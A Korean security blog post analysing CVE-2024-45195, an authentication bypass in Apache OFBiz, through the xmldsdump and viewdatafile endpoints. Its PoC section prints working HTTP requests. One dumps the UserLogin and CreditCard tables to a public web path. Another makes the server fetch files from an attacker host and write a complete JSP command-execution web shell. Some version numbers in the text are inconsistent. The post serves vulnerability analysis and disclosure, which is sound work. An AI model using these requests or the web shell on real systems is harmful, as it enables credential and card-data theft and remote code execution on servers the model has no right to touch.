Apache OFBiz 1-Day 취약점 살펴보기
Introduction
네 번째 취약점인 CVE-2024-45195 취약점에 대해 알아보겠습니다. 해당 취약점은 Apache OFBiz 버전 18.12.15 이하에서 발생되는 강제 브라우징(Forced Browsing) 취약점입니다.
이전에 발생한 세 가지 취약점(CVE-2024-32113, CVE-2024-36104, CVE-2204-38856)과 동일하게 URI 처리 메커니즘에서 컨트롤러(Controller)와 뷰(View)의 매핑 처리과정에서 발생하는 잘못된 인증 처리로 인해 발생됩니다.
즉, requestUri 와 overrideViewrUri 에 대한 구분된 처리로 인해 발생하는 취약점으로 아래 분석을 통해 상세히 살펴보겠습니다.
Vulnerability Detail
CVE | CVE-2024-45195 |
Vulnerability | Forced Browsing |
CVSS(3.x) | HIGH 7.5 |
Product | Apache OFBiz |
Version | <= 18.12.15 |
Link | |
Description | Direct Request ('Forced Browsing') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.16. Users are recommended to upgrade to version 18.12.16, which fixes the issue. |
Analysis
해당 CVE-2024-45195 취약점에서는 ProgramExport 에 대한 접근이 불가능하기 때문에 인증 없이 접근 가능한 다른 엔드포인트를 찾아야 합니다.
if (!security.hasPermission('ENTITY_MAINT', userLogin)) {
return
}
Groovy
복사
이에 EntityScreens.xml 에서 <script> 를 조회하면 다음의 결과를 확인할 수 있습니다.
<!-- ...생략... -->
<script location="component://webtools/groovyScripts/entity/EntitySQLProcessor.groovy"/>
<!-- ...생략... -->
<script location="component://webtools/groovyScripts/entity/ProgramExport.groovy"/>
<!-- ...생략... -->
<script location="component://webtools/groovyScripts/entity/EntityMaint.groovy"/>
<!-- ...생략... -->
<script location="component://webtools/groovyScripts/entity/FindGeneric.groovy"/>
<!-- ...생략... -->
<script location="component://webtools/groovyScripts/entity/ViewGeneric.groovy"/>
<!-- ...생략... -->
<script location="component://webtools/groovyScripts/entity/ViewRelations.groovy"/>
<!-- ...생략... -->
<script location="component://webtools/groovyScripts/entity/EntityRef.groovy"/>
<!-- ...생략... -->
<script location="component://webtools/groovyScripts/entity/EntityRefList.groovy"/>
<!-- ...생략... -->
<script location="component://webtools/groovyScripts/entity/CheckDb.groovy"/>
<!-- ...생략... -->
<script location="component://webtools/groovyScripts/entity/EntityPerformanceTest.groovy"/>
<!-- ...생략... -->
<script location="component://webtools/groovyScripts/entity/XmlDsDump.groovy"/>
<!-- ...생략... -->
<script location="component://webtools/groovyScripts/entity/ModelInduceFromDb.groovy"/>
<!-- ...생략... -->
XML
복사
xmldsdump
위에서 확인한 스크립트 중 XmlDsDump.groovy 는 권한 검사 로직이 존재하지 않습니다.
이에 해당 스크립트와 관련된 컨트롤러를 살펴보면, xmldsdump URI가 요청될 때, 스크린 위젯(<screen name="xmldsdump">)이 렌더링되는데 이때, XmlDsDump.groovy 스크립트가 실행되는 것을 확인할 수 있습니다.
<request-map uri="xmldsdump">
<security https="true" auth="true"/>
<response name="success" type="view" value="xmldsdump"/>
</request-map>
XML
복사
<screen name="xmldsdump">
<section>
<actions>
<property-map resource="WebtoolsUiLabels" map-name="uiLabelMap" global="true"/>
<set field="titleProperty" value="PageTitleEntityExport"/>
<set field="tabButtonItem" value="xmlDsDump"/>
<set field="entityFrom" from-field="parameters.entityFrom" type="Timestamp"/>
<set field="entityThru" from-field="parameters.entityThru" type="Timestamp"/>
<script location="component://webtools/groovyScripts/entity/XmlDsDump.groovy"/>
</actions>
<widgets>
<decorator-screen name="CommonImportExportDecorator" location="${parameters.mainDecoratorLocation}">
<decorator-section name="body">
<screenlet>
<platform-specific><html><html-template location="component://webtools/template/entity/XmlDsDump.ftl"/></html></platform-specific>
</screenlet>
</decorator-section>
</decorator-screen>
</widgets>
</section>
</screen>
XML
복사
XmlDsDump 서비스는 OFBiz 프레임워크에 사용되는 데이터베이스(엔티티)를 특정 경로에 XML 포맷의 데이터를 내보내는 서비스 입니다.
이 서비스를 요청할 때, 전송되는 파라미터는 다음과 같습니다.
파라미터 | 설명 |
outpath | XML 파일을 저장할 경로 |
maxcords | 최대 레코드 수 |
filename | 저장할 XML 파일 이름 |
entityFrom_i18n | 시작할 엔티티 범위 지정 |
entityFrom | 특정 엔티티 이름으로부터 덤프 시작 |
entityThru_i18n | 종료할 엔티티 범위 지정 |
entityThru | 특정 엔티티 이름까지 덤프 수행 |
entitySyncId | 특정 동기화 ID에 해당하는 데이터만 덤프 |
preConfiguredSetName | 사전 설정된 엔티티 세트 |
entityName | XML로 내보낼 특정 엔티티 이름 (중복 가능) |
위 요청 파라미터를 보면 outpath 에 XML 파일을 저장할 경로를 직접 지정할 수 있습니다. 다시 말해, 외부에서 접근 가능한 URL 경로(e.g. js, css 리소스 경로)를 지정하여 원하는 데이터를 유출시킬 수 있습니다.
예를 들어, Apache OFBiz 프레임워크에서 웹 리소스 경로(jquery-3.5.1.min.js)는 아래의 경로에 저장되어 있습니다.
•
Apache OFBiz 프로젝트 상 위치(/themes/common-theme/webapp/common/js/jquery)
•
웹 URL 경로 상 위치(/common/js/jquery)
즉, UserLogin, CreditCard 엔티티 정보를 추출하고 저장 경로를 리소스가 저장되는 /themes/common-theme/webapp/common 으로 지정할 경우, URL 요청을 통해 추출된 데이터에 접근할 수 있습니다. 이에 대한 요청은 다음과 같습니다.
POST /webtools/control/main/xmldsdump HTTP/1.1
Host: localhost:8443
Content-Type: application/x-www-form-urlencoded
Content-Length: 210
outpath=./themes/common-theme/webapp/common&maxrecords=&filename=dump.xml&entityFrom_i18n=&entityFrom=&entityThru_i18n=&entityThru=&entitySyncId=&preConfiguredSetName=&entityName=UserLogin&entityName=CreditCard
Plain Text
복사
위 요청에 의해 생성된 dump.xml 은 Apache OFBiz 프레임워크 프로젝트 경로에서 확인할 수 있습니다.
또한, /common/dump.xml URL을 브라우저를 통해 요청하면 다음과 같이 UserLogin 과 CreditCard 엔티티 정보가 담긴 파일의 내용을 확인할 수 있습니다.
결과적으로 요청 URI /webtools/control/main/xmldsdump 를 요청할 경우 requestUri 는 main 이라 인증 없이 접근 가능하며, 렌더링 되는 뷰는 xmldsdump 이므로, 해당 뷰가 렌더링될 때 실행되는 XmlDsDump.groovy 스크립트에 의해 전송되는 파라미터가 처리되어 엔티티 정보(entityName의 값)가 XML 파일(outpath + filename)로 생성됩니다. 이렇게 생성된 파일은 외부에서 접근 가능한 경로에 저장되어 누구나 접근할 수 있게 되므로 심각한 정보 유출 취약점이 발생합니다.
viewdatafile
또한, EntityScreens.xml 말고도 MiscScreens.xml 에 정의된 스크립트 중 권한 검사 로직이 존재하지 않는 ViewDataFile.groovy 스크립트도 존재합니다.
위 스크립트는 다음과 같이 viewdatafile 스크린 위젯이 뷰로 렌더링될 때 실행되는 것을 확인할 수 있습니다.
<screen name="viewdatafile">
<section>
<actions>
<set field="headerItem" value="main"/>
<set field="titleProperty" value="WebtoolsDataFileMainTitle"/>
<set field="tabButtonItem" value="data"/>
<script location="component://webtools/groovyScripts/datafile/ViewDataFile.groovy"/>
</actions>
<widgets>
<decorator-screen name="CommonImportExportDecorator" location="${parameters.mainDecoratorLocation}">
<decorator-section name="body">
<screenlet>
<platform-specific><html><html-template location="component://webtools/template/datafile/ViewDataFile.ftl"/></html></platform-specific>
</screenlet>
</decorator-section>
</decorator-screen>
</widgets>
</section>
</screen>
XML
복사
해당 스크린 위젯은 controller.xml에 정의된 컨트롤러의 viewdatafile URI가 요청될 때 참조되는 것을 확인할 수 있습니다.
<!-- 생략 -->
<request-map uri="viewdatafile">
<security https="true" auth="true"/>
<response name="success" type="view" value="viewdatafile"/>
</request-map>
<!-- 생략 -->
<view-map name="viewdatafile" type="screen" page="component://webtools/widget/MiscScreens.xml#viewdatafile"/>
<!-- 생략 -->
XML
복사
즉, URI 요청 경로를 /webtools/control/main/viewdatafile 으로 요청할 경우 인증 검사는 requestUri 의 값(main)에 대한 인증을 수행하지만 이는 통과되고, 실제 뷰가 렌더링되는 것은 overrideViewUri 의 값(viewdatafile)이 렌더링되므로 이때, ViewDataFile.groovy 스크립트가 실행됩니다.
ViewDataFile.groovy 스크립트 분석
다음은 ViewDataFile.groovy 스크립트 로직에 대해 알아보겠습니다. 해당 로직은 실제 데이터가 담겨 있는 DATAFILE_LOCATION 을 데이터가 정의된 DEFINITION_LOCATION 을 참고하여 데이터를 파일로 저장하는 로직입니다.
// 사용자가 입력한 데이터 파일 저장 경로
dataFileSave = request.getParameter("DATAFILE_SAVE")
// 사용자가 입력한 엔티티 XML 파일 저장 경로
entityXmlFileSave = request.getParameter("ENTITYXML_FILE_SAVE")
// 데이터 파일의 위치
dataFileLoc = request.getParameter("DATAFILE_LOCATION")
// 데이터 정의 파일의 위치
definitionLoc = request.getParameter("DEFINITION_LOCATION")
// 사용할 데이터 정의의 이름
definitionName = request.getParameter("DEFINITION_NAME")
// 데이터 파일이 URL인지 여부
dataFileIsUrl = null != request.getParameter("DATAFILE_IS_URL")
// 정의 파일이 URL인지 여
definitionIsUrl = null != request.getParameter("DEFINITION_IS_URL")
Groovy
복사
try {
dataFileUrl = dataFileIsUrl?new URL(dataFileLoc):UtilURL.fromFilename(dataFileLoc)
}
catch (java.net.MalformedURLException e) {
messages.add(e.getMessage())
}
try {
definitionUrl = definitionIsUrl?new URL(definitionLoc):UtilURL.fromFilename(definitionLoc)
}
catch (java.net.MalformedURLException e) {
messages.add(e.getMessage())
}
Groovy
복사
•
dataFileLoc, definitionLoc 의 값을 URL 경로로 변환합니다.
definitionNames = null
if (definitionUrl) {
try {
ModelDataFileReader reader = ModelDataFileReader.getModelDataFileReader(definitionUrl)
if (reader) {
definitionNames = ((Collection) reader.getDataFileNames()).iterator()
context.put("definitionNames", definitionNames)
}
} catch (Exception e) {
messages.add(e.getMessage())
}
}
Groovy
복사
•
ModelDataFileReader reader = ModelDataFileReader.getModelDataFileReader(definitionUrl)
definitionUrl URL 경로의 파일을 getModelDataFileReader 로 읽어들입니다.
•
definitionNames = ((Collection) reader.getDataFileNames()).iterator()
읽어들인 파일(reader)에 정의된 데이터 파일 이름 목록을 가져와 definitionNames 변수를 초기화 합니다.
dataFile = null
if (dataFileUrl && definitionUrl && definitionNames) {
try {
dataFile = DataFile.readFile(dataFileUrl, definitionUrl, definitionName)
context.put("dataFile", dataFile)
} catch (Exception e) {
messages.add(e.toString()); Debug.log(e)
}
}
Groovy
복사
•
dataFile = DataFile.readFile(dataFileUrl, definitionUrl, definitionName)
데이터 파일(dataFileUrl)과 데이터 정의 파일(definitionUrl)과 특정 데이터 정의(definitionName)를 지정하여 데이터를 dataFile 변수에 초기화합니다.
if (dataFile) {
modelDataFile = dataFile.getModelDataFile()
context.put("modelDataFile", modelDataFile)
}
Groovy
복사
•
context.put("modelDataFile", modelDataFile)
데이터 파일(dataFile)의 메타정보를 저장합니다.
if (dataFile && dataFileSave) {
try {
dataFile.writeDataFile(dataFileSave)
messages.add(uiLabelMap.WebtoolsDataFileSavedTo + dataFileSave)
} catch (Exception e) {
messages.add(e.getMessage())
}
}
Groovy
복사
•
dataFile.writeDataFile(dataFileSave)
dataFile 파일 객체를 dataFileSave 에 저장합니다.
if (dataFile && entityXmlFileSave) {
try {
DataFile2EntityXml.writeToEntityXml(entityXmlFileSave, dataFile)
messages.add(uiLabelMap.WebtoolsDataEntityFileSavedTo + entityXmlFileSave)
} catch (Exception e) {
messages.add(e.getMessage())
}
}
Groovy
복사
•
DataFile2EntityXml.writeToEntityXml(entityXmlFileSave, dataFile)
데이터 파일(dataFile)을 XML 형식으로 변환하여 저장합니다.
동작 확인
위 스크립트 로직을 정리하면 다음과 같습니다. 먼저, 다음과 같이 파라미터가 셋팅된 상태입니다.
파라미터 | 예제 값 |
DEFINITION_LOCATION | http://attacker:80/test.xml |
DATAFILE_LOCATION | http://attacker:80/test.csv |
DEFINITION_NAME | rce |
DATAFILE_SAVE | ./applications/accounting/webapp/accounting/index.jsp |
DEFINITION_IS_URL | true |
DATAFILE_IS_URL | true |
이 상태에서 viewDataFile.groovy 스크립트 로직은 다음과 같습니다.
1.
(
) DEFINITION_LOCATION 의 경로(e.g. http://attacker:80/test.xml)를 XML 포맷으로 읽어들여 엔티티 목록을 definitionNames 변수에 저장합니다.
<data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">
<record name="rceentry" limit="many">
<field name="jsp" type="String" length="605" position="0"></field>
</record>
</data-file>
</data-files>
XML
복사
definitionNames = ["<data-file name="rce" ... > ... </data-files>"]
Plain Text
복사
2.
(
) DATAFILE_LOCATION 의 경로(e.g. http://attacker:80/test.csv)를 파일로 로드한 뒤, DEFINITION_LOCATION 경로의 파일을 참고하여 definitionName 변수에 저장된 값(rce)에 해당하는 데이터를 dataFile 변수에 초기화합니다.
<%@ page import='java.io.*' %> ...생략... %>, // 605 자
XML
복사
dataFile = <%@ page import='java.io.*' %> ...생략... %>
Plain Text
복사
3.
(
) dataFile 의 값을 DATAFILE_SAVE 의 경로(e.g. ./applications/accounting/webapp/accounting/index.jsp)로 저장합니다.
cat ./applications/accounting/webapp/accounting/index.jsp
<%@ page import='java.io.*' %> ...생략... %>
Plain Text
복사
결과적으로 ViewDataFile.groovy 스크립트를 이용하면, 공격자의 외부 서버로부터 웹 쉘 코드가 담긴 CSV 파일(DATAFILE_LOCATION)과 데이터 정의 파일(DEFINITION_LOCATION)을 가져와서 Apache OFBiz 프레임워크 프로젝트에 JSP 파일(DATAFILE_SAVE)로 저장할 수 있게 됩니다.
이렇게 저장된 JSP 파일은 웹 서버에서 실행 가능한 상태가 되어 원격 코드 실행(RCE) 취약점으로 이어집니다. 이에 대한 내용은 아래 PoC 과정에서 다시 진행해보겠습니다.
PoC
공격자 서버 준비
준비된 서버에 아래의 2개 파일을 저장합니다.
<data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">
<record name="rceentry" limit="many">
<field name="jsp" type="String" length="605" position="0"></field>
</record>
</data-file>
</data-files>
XML
복사
<%@ page import='java.io.*' %><%@ page import='java.util.*' %><b>Exploit</b><br><% String getcmd = request.getParameter("cmd"); if (getcmd != null) { out.println("Command: " + getcmd + "<br>"); String cmd1 = "/bin/sh"; String cmd2 = "-c"; String cmd3 = getcmd; String[] cmd = new String[3]; cmd[0] = cmd1; cmd[1] = cmd2; cmd[2] = cmd3; Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();}} %>,
XML
복사
이후 python 을 이용하여 해당 경로를 80포트로 리스닝하는 웹 서버를 실행합니다.
python -m http.server 80
XML
복사
viewdatafile 요청
이후 다음의 요청 패킷을 Apache OFBiz 프레임워크 18.14.15 버전에 요청을 수행합니다.
POST /webtools/control/main/viewdatafile HTTP/1.1
Host: localhost:8443
Content-Type: application/x-www-form-urlencoded
Content-Length: 241
DATAFILE_LOCATION=http://<서버주소>:80/test.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://<서버주소>:80/test.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce
XML
복사
위 요청이 정상적으로 처리 되었으면, 공격자 서버 로그에서 test.xml, test.csv 파일에 대한 접근 로그를 확인할 수 있습니다.
웹쉘 확인
Apache OFBiz 애플리케이션에 웹 쉘이 저장 되었는지, 아래의 URL 요청을 이용하여 확인합니다.
https://localhost:8443/accounting/index.jsp?cmd=ls -al
XML
복사
Patch
이번 CVE-2024-45195 취약점은 이전에 발생한 세 가지 취약점(CVE-2024-32113, CVE-2024-36104, CVE-2204-38856)과 동일하게 URI 처리 메커니즘에서 컨트롤러와 뷰의 매핑 처리과정에서 발생하는 잘못된 인증 처리로 인해 발생되었습니다.
이에 대한 내용은 Apache OFBiz 프레임워크 버전 18.15.16에서 뷰 렌더링 시 권한을 검사하는 방식으로 패치된 것을 확인할 수 있습니다.
따라서, 패치된 버전 18.15.16 에서 CVE-2024-45195 취약점의 PoC를 수행할 경우, 다음과 같이 로그인이 필요하다는 에러 메시지를 받게됩니다.
Continue…
Apache OFBiz 1-Day 취약점 살펴보기